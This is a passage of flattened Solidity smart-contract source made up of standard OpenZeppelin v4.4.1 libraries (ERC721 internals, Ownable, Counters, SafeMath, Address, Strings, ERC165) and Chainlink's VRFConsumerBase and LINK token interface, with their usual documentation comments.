approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/LinkTokenInterface.sol"; import "./VRFRequestIDBase.sol"; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constructor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator, _link) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash), and have told you the minimum LINK * @dev price for VRF service. Make sure your contract has sufficient LINK, and * @dev call requestRandomness(keyHash, fee, seed), where seed is the input you * @dev want to generate randomness from. * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomness method. * * @dev The randomness argument to fulfillRandomness is the actual random value * @dev generated from your seed. * * @dev The requestId argument is generated from the keyHash and the seed by * @dev makeRequestId(keyHash, seed). If your contract could have concurrent * @dev requests open, you can use the requestId to track which seed is * @dev associated with which randomness. See VRFRequestIDBase.sol for more * @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously.) * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. (Which is critical to making unpredictable randomness! See the * @dev next section.) * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the ultimate input to the VRF is mixed with the block hash of the * @dev block in which the request is made, user-provided seeds have no impact * @dev on its economic security properties. They are only included for API * @dev compatability with previous versions of this contract. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. */ abstract contract VRFConsumerBase is VRFRequestIDBase { /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBase expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomness the VRF output */ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal virtual; /** * @dev In order to keep backwards compatibility we have kept the user * seed field around. We remove the use of it because given that the blockhash * enters later, it overrides whatever randomness the used seed provides. * Given that it adds no security, and can easily lead to misunderstandings, * we have removed it from usage and can now provide a simpler API. */ uint256 private constant USER_SEED_PLACEHOLDER = 0; /** * @notice requestRandomness initiates a request for VRF output given _seed * * @dev The fulfillRandomness method receives the output, once it's provided * @dev by the Oracle, and verified by the vrfCoordinator. * * @dev The _keyHash must already be registered with the VRFCoordinator, and * @dev the _fee must exceed the fee specified during registration of the * @dev _keyHash. * * @dev The _seed parameter is vestigial, and is kept only for API * @dev compatibility with older versions. It can't *hurt* to mix in some of * @dev your own randomness, here, but it's not necessary because the VRF * @dev oracle will mix the hash of the block containing your request into the * @dev VRF seed it ultimately uses. * * @param _keyHash ID of public key against which randomness is generated * @param _fee The amount of LINK to send with the request * * @return requestId unique ID for this request * * @dev The returned requestId can be used to distinguish responses to * @dev concurrent requests. It is passed as the first argument to * @dev fulfillRandomness. */ function requestRandomness(bytes32 _keyHash, uint256 _fee) internal returns (bytes32 requestId) { LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER)); // This is the seed passed to VRFCoordinator. The oracle will mix this with // the hash of the block containing this request to obtain the seed/input // which is finally passed to the VRF cryptographic machinery. uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]); // nonces[_keyHash] must stay in sync with // VRFCoordinator.nonces[_keyHash][this], which was incremented by the above // successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest). // This provides protection against the user repeating their input seed, // which would result in a predictable/duplicate output, if multiple such // requests appeared in the same block. nonces[_keyHash] = nonces[_keyHash] + 1; return makeRequestId(_keyHash, vRFSeed); } LinkTokenInterface internal immutable LINK; address private immutable vrfCoordinator; // Nonces for each VRF key from which randomness has been requested. // // Must stay in sync with VRFCoordinator[_keyHash][this] mapping(bytes32 => uint256) /* keyHash */ /* nonce */ private nonces; /** * @param _vrfCoordinator address of VRFCoordinator contract * @param _link address of LINK token contract * * @dev https://docs.chain.link/docs/link-token-contracts */ constructor(address _vrfCoordinator, address _link) { vrfCoordinator = _vrfCoordinator; LINK = LinkTokenInterface(_link); } // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomness(bytes32 requestId, uint256 randomness) external { require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill"); fulfillRandomness(requestId, randomness); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface LinkTokenInterface { function allowance(address owner, address spender) external view returns (uint256 remaining); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external view returns (uint256 balance); function decimals() external view returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external view returns (string memory tokenName); function symbol() external view returns (string memory tokenSymbol); function totalSupply() external view returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns (bool success); function transferFrom( address from, address to, uint256 value ) external returns (bool success); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract VRFRequestIDBase { /** * @notice returns the seed which is actually input to the VRF coordinator * * @dev To prevent repetition of VRF output due to repetition of the * @dev user-supplied seed, that seed is combined in a hash with the * @dev user-specific nonce, and the address of the consuming contract. The * @dev risk of repetition is mostly mitigated by inclusion of a blockhash in * @dev the final seed, but the nonce does protect against repetition in * @dev requests which are included in a single block. * * @param _userSeed VRF seed input provided by user * @param _requester Address of the requesting contract * @param _nonce User-specific nonce at the time of the request */ function makeVRFInputSeed( bytes32 _keyHash, uint256 _userSeed, address _requester, uint256 _nonce ) internal pure returns (uint256) { return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce))); } /** * @notice Returns the id for this request * @param _keyHash The serviceAgreement ID to be used for this request * @param _vRFInputSeed The seed to be passed directly to the VRF * @return The id for this request * * @dev Note that _vRFInputSeed is not the seed passed by the consuming * @dev contract, but the one generated by makeVRFInputSeed */ function makeRequestId(bytes32 _keyHash, uint256 _vRFInputSeed) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed)); } }
